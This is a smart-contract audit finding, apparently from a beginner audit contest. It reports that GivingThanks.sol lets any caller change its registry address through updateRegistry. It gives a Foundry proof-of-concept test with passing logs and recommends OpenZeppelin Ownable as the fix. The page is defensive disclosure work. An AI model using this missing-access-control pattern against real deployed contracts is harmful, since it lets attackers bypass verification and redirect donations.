GivingThanks
First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unauthorized Access to updateRegistry Function

delinked

Summary

The updateRegistry function in GivingThanks.sol is publicly accessible without any access control, allowing any address to modify the registry reference. This vulnerability enables unauthorized users to redirect the registry to an arbitrary address, potentially controlled by a malicious actor. As a result, verification checks can be bypassed or manipulated, compromising the contract’s integrity.

Vulnerability Details

The updateRegistry function currently lacks an onlyOwner modifier or other access control, allowing any user to change the registry variable. This enables unauthorized addresses to set registry to any address, including a malicious contract, which could disrupt core contract functionality and redirect donations improperly.

Here is a proof of code that shows a donor can change the Registry address:

function testUnauthorizedRegistryUpdate() public {
// Simulate a new address representing an attacker-controlled registry
address attackerRegistry = address(0x1234567890AbcdEF1234567890aBcdef12345678);
​
// Check the current registry address before the unauthorized update
address initialRegistry = address(charityContract.registry());
console.log("Initial registry address:", initialRegistry);
​
// Attempt to update the registry as an unauthorized donor
vm.prank(donor); // Set `donor` as the caller, simulating an unauthorized attempt
charityContract.updateRegistry(attackerRegistry);
​
// Check the registry address after the unauthorized update
address updatedRegistry = address(charityContract.registry());
console.log("Updated registry address:", updatedRegistry);
​
// Assert that the registry address has been changed to the attacker-controlled address
assertEq(updatedRegistry, attackerRegistry, "Registry should be updated by unauthorized caller");
}

Logs:

[PASS] testUnauthorizedRegistryUpdate() (gas: 22633)
Logs:
Initial registry address: 0x3Ede3eCa2a72B3aeCC820E955B36f38437D01395
Updated registry address: 0x1234567890AbcdEF1234567890aBcdef12345678

Impact

This allows any address to update the registry reference, giving it an address of whatever malicious contract they might have, which can lead to critical attacks, including:

  • Redirecting Verification Checks: Unauthorized addresses can pass as verified, redirecting donations.

  • Blocking Legitimate Charities: A malicious registry could restrict legitimate charities from verification.

  • Complete Contract Control Disruption: The entire system’s integrity is compromised as core functionality is reliant on registry.

Tools Used

  • Manual code review

  • Custom test case testUnauthorizedRegistryUpdate to confirm unauthorized access with Foundry

Recommendations

To secure the updateRegistry function, add an onlyOwner modifier to restrict access to the contract owner. This change ensures that only the contract owner can update the registry reference, protecting the integrity of the verification process.

Consider using OpenZeppelin’s Ownable contract, which simplifies ownership management and already includes onlyOwner functionality. This would require:

  • Removing the manually defined owner variable in GivingThanks.

  • Adding Ownable to the inheritance chain of GivingThanks by initializing it in the constructor with Ownable’s constructor, which automatically sets msg.sender as the owner.

For detailed documentation on using Ownable, refer to OpenZeppelin’s Ownable Documentation.

Updates

Lead Judging Commences

n0kto Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-change-registry

Likelyhood: High, anyone can change it at anytime Impact: High, can bypass the verification process

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!